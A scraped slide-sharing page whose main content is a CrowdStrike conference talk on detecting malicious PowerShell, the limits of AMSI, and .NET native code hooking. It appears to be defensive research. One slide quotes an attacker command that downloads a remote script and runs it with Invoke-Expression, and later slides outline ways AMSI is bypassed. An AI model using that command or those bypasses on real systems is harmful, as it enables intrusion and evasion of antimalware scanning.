.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
 
Android Logging System
Android Logging SystemAndroid Logging System
Android Logging System
 
tybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notestybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notes
 
01 Introduction to programming
01 Introduction to programming01 Introduction to programming
01 Introduction to programming
 
.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques
 
.Net Debugging Techniques
.Net Debugging Techniques.Net Debugging Techniques
.Net Debugging Techniques
 
Android porting for dummies @droidconin 2011
Android porting for dummies @droidconin 2011Android porting for dummies @droidconin 2011
Android porting for dummies @droidconin 2011
 
Building android apps with Gradle (GREACH 2015)
Building android apps with Gradle (GREACH 2015)Building android apps with Gradle (GREACH 2015)
Building android apps with Gradle (GREACH 2015)
 
Tips and tricks in the OSGi Web Console
Tips and tricks in the OSGi Web ConsoleTips and tricks in the OSGi Web Console
Tips and tricks in the OSGi Web Console
 
Raising the Bar on Robotics Code Quality
Raising the Bar on Robotics Code QualityRaising the Bar on Robotics Code Quality
Raising the Bar on Robotics Code Quality
 
Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018
Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018
Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018
 
Use Eclipse technologies to build a modern embedded IDE
Use Eclipse technologies to build a modern embedded IDEUse Eclipse technologies to build a modern embedded IDE
Use Eclipse technologies to build a modern embedded IDE
 
Nativescript with angular 2
Nativescript with angular 2Nativescript with angular 2
Nativescript with angular 2
 
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
 

More from CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 

More from CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Recently uploaded

5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationkaushalgiri8080
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
why an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdfwhy an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdfjoe51371421
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsAlberto González Trastoy
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsMehedi Hasan Shohan
 
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVshikhaohhpro
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideChristina Lin
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software DevelopersVinodh Ram
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...soniya singh
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about usDynamic Netsoft
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEOrtus Solutions, Corp
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...OnePlan Solutions
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 

Recently uploaded (20)

5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanation
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
why an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdfwhy an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdf
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software Solutions
 
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTV
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software Developers
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about us
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 

PowerShell Inside Out: Applied .NET Hacking for Enhanced Visibility by Satoshi Tanda

  • 1. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. POWERSHELL INSIDE OUT: APPLIED .NET HACKING FOR ENHANCED VISIBILITY SATOSHI TANDA ENGINEER, CROWDSTRIKE
  • 2. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. ABOUT MYSELF  Engineer at CrowdStrike  Twitter @standa_t  Low-level technology software engineer  Reverse engineer & malware analyst  Developer of security software  Creator of HyperPlatform & SimpleSVM (hypervisors)  Conference speaker at REcon, BlueHat, Nullcon  Slides & sample code will be available: github.com/tandasat/DotNetHooking 2
  • 3. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.3 PERSONAL MOTIVATION  Downloader -> Payload  EXE -> EXE upatre
  • 4. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.4 PERSONAL MOTIVATION  Downloader -> Payload  Script -> EXE upatre js downloader
  • 5. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.5 PERSONAL MOTIVATION  Presence of offensive, post exploitation tools
  • 6. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.6 ABOUT TALK How to defend ourselves against PowerShell threats
  • 7. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 1 Challenges with PowerShell Attacks & AMSI 2 Introduction to .NET Native Code Hooking 3 Gaining Visibility into PowerShell 4 Takeaways & Recommendation 7
  • 8. CHALLENGES WITH POWERSHELL ATTACKS & AMSI 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.8
  • 9. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. MALICIOUS POWERSHELL VS ANTIVIRUS  PowerShell is commonly used within the attack chain  Hard to detect with AV software  Host process (powershell.exe) is a signed, legitimate file  Script files can easily be mutated (ie, whitespace, comments, variable names)  Script files may not be used at all  PowerShell engine can be “injected” into arbitrary processes to run commands (eg, PSInject)  Even harder in reality: 9 >powershell -file “C:UsersstandaAppDataLocalTempns13094.ps1" >powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI’)” >powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0A…
  • 10. ANTIMALWARE SCAN INTERFACE (AMSI)  New Feature introduced with Windows 10  Software can be registered as an AMSI provider (requires NDA w/ Microsoft, formally)  Script engines forward script content to AMSI providers before execution  AMSI providers can scan and block content from execution 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.10 System.Management. Automation.dll Jscript.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider AsmiScanString IAntimalwareProvider::Scan
  • 11. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. SILVER BULLET  Content of script file being executed is visible  Invoke-Expression’d strings is visible  Decoded strings of -EncodedCommand is visible  Activated whenever the PowerShell engine is loaded 11
  • 12. OR, IS IT? (1/2)  AMSI is only available for PowerShell v5+ on Windows 10  Older Windows versions are unprotected  Unprotected against PowerShell v2 (the downgrade attack)  AMSI does not do de-obfuscation as you might have wished  Naïve regex can be bypassed
  • 13. OR, IS IT? (2/2)  AMSI can be disabled though PowerShell without admin privileges  AMSI provider must detect the first attack content, or all bypassed  Unresolved flaw exists preventing AMSI providers from receiving correct data System.Management. Automation.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider AsmiScanString IAntimalwareProvider::Scan COM Hijacking Reflection-based attacks
  • 14. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. RECAP & MOTIVATION  PowerShell threats are common and hard to detect  AMSI provides significant help but comes with limitations  Can we do anything? 15
  • 15. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.16
  • 16. INTRODUCTION TO .NET NATIVE CODE HOOKING 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.17
  • 17. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. .NET NATIVE CODE HOOKING  A technique to modify behavior of managed programs by overwriting generated native code at the runtime  This allows you to inspect and change behavior of programs  First introduced by Topher Timzen and Ryan Allen  Its advantages over the other .NET hooking techniques were thoroughly analyzed by Amanda Rousseau recently 18
